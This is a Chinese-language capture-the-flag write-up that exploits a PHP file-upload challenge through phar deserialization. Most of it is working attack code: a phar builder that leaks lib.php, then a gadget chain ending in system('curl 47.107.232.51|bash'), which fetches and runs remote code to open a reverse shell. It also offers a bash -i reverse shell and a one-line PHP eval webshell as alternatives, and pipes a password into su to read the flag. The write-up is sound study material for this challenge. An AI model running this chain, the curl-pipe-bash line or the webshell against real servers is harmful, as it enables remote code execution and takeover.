前置知识:
来看这样一段代码:
<?php Class Mode{ function hello(){ echo "hello,yes"; } } $a=array(Mode,hello); $a();
会得到什么回显呢?
尽管会警告,但是还是执行了结果,所以我们可以通过数组
配合()
来调用类中的方法
解题
进入页面:
上传文件+查询文件:phar警告
打开F12,发现有提示:
可以利用查询文件这里看一下有没有phar协议,先构造一下Phar序列化的包得到lib.php
的源码
<?php class Read{ public $name; public function file_get() { $text = base64_encode(file_get_contents("lib.php")); echo $text; } } class Test{ public $f; public function __construct($value){ $this->f = $value; } public function __wakeup() { $func = $this->f; $func(); } } $a = new Test(array(Read,file_get)); $phar = new Phar('phar.phar'); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar->setMetadata($a); $phar->addFromString('1.txt','dky'); // phar:[phar.phar][system_get_you_filename]/1.txt
访问该文件后生成的phar.pha
r改名为:phar.gif
上传后提示了路径,那么就用phar协议读取一下:
phar://4623e4e6/4b3cf1ffc9224f4d830c5a29db854d15/1b33718042e7dfe8fac079be96ebc4d9.gif/1.txt
得到回显,这里建议使用burp传包,比较明显:
解码后:
<?php error_reporting(0); class Modifier{ public $old_id; public $new_id; public $p_id; public function __construct(){ $this->old_id = "1"; $this->new_id = "0"; $this->p_id = "1"; } public function __get($value){ $new_id = $value; $this->old_id = random_bytes(16); if($this->old_id===$this->new_id){ system($this->p_id); } } } class Read{ public function file_get() { $text = base64_encode(file_get_contents("lib.php")); echo $text; } } class Files{ public $filename; public function __construct($filename){ $this->filename = $this->FilesWaf($filename); } public function __wakeup(){ $this->FilesWaf($this->filename); } public function __toString(){ return $this->filename; } public function __destruct(){ echo "Your file is ".$this->FilesWaf($this->filename).".</br>"; } public function FilesWaf($name){ if(stristr($name, "/")!==False){ return "index.php"; } return $name; } } class Test{ public $f; public function __construct($value){ $this->f = $value; } public function __wakeup() { $func = $this->f; $func(); } } class User{ public $name; public $profile; public function __construct($name){ $this->name = $this->UserWaf($name); $this->profile = "I am admin."; } public function __wakeup(){ $this->UserWaf($this->name); } public function __toString(){ return $this->profile->name; } public function __destruct(){ echo "Hello ".$this->UserWaf($this->name).".</br>"; } public function UserWaf($name){ if(strlen($name)>10){ return "admin"; } if(!preg_match("/[a-f0-9]/iu",$name)){ return "admin"; } return $name; } }又是构造反序列化链了,很明显要利用system函数:很简单的链子我就直接上payload了
<?php error_reporting(0); class Modifier{ public $old_id; public $new_id; public $p_id; public function __construct(){ $this->old_id = "1"; $this->new_id = &$this->old_id; $this->p_id = "curl 47.107.232.51|bash"; // 多种选择 } public function __get($value){ $new_id = $value; $this->old_id = random_bytes(16); if($this->old_id===$this->new_id){ system($this->p_id); } } } class Files{ public $filename; public function __construct($filename){ $this->filename = $this->FilesWaf($filename); } public function __wakeup(){ $this->FilesWaf($this->filename); } public function __toString(){ return $this->filename; } public function __destruct(){ echo "Your file is ".$this->FilesWaf($this->filename).".</br>"; } public function FilesWaf($name){ if(stristr($name, "/")!==False){ return "index.php"; } return $name; } } class Test{ public $f; public function __construct($value){ $this->f = $value; } public function __wakeup() { $func = $this->f; $func(); } } class User{ public $name; public $profile; public function __construct($name){ $this->name = $this->UserWaf($name); $this->profile = "I am admin."; } public function __wakeup(){ $this->UserWaf($this->name); } public function __toString(){ return $this->profile->name; } public function __destruct(){ echo "Hello ".$this->UserWaf($this->name).".</br>"; } public function UserWaf($name){ if(strlen($name)>10){ return "admin"; } if(!preg_match("/[a-f0-9]/iu",$name)){ return "admin"; } return $name; } } $a = new Files(); $a->filename=new User(); $a->filename->profile=new Modifier(); $phar = new Phar('shell.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER();?>'); $phar->addFromString('test.txt','test'); $phar->setMetadata($a); $phar->stopBuffering();
那个system函数那里有几种选择,我说我已经知道的:
1.利用curl反弹shell
2.利用bash -i 反弹shelll(和1的原理差不多)
3.直接写马(echo "<?php eval($_POST[8]);?>">shell.php)
我这里直接用第一种了。
先公网启用一个监听端口:
同样使用phar协议打进去:
之后成功反弹shell:
接下来就是拿flag了,但是根目录没有flag,起初的思路是用命令:
find / -name "flag"来
发现一个/home/flag,但是权限不够,以为要提权
后来看了wp发现,是根目录还有一个game,可以拿到flag账户的登陆密码,使用flag账户来拿flag。由于直接cat game太乱,于是写一个shell连接一下蚁剑:
之后再登陆flag账户,拿flag
也可以不登录,用su的来执行账户命令
echo "90a3f46888b32b4b1b104208957be421" | su - flag -c 'ls /home/flag'
提示flag的名字为这个,直接cat f*解决: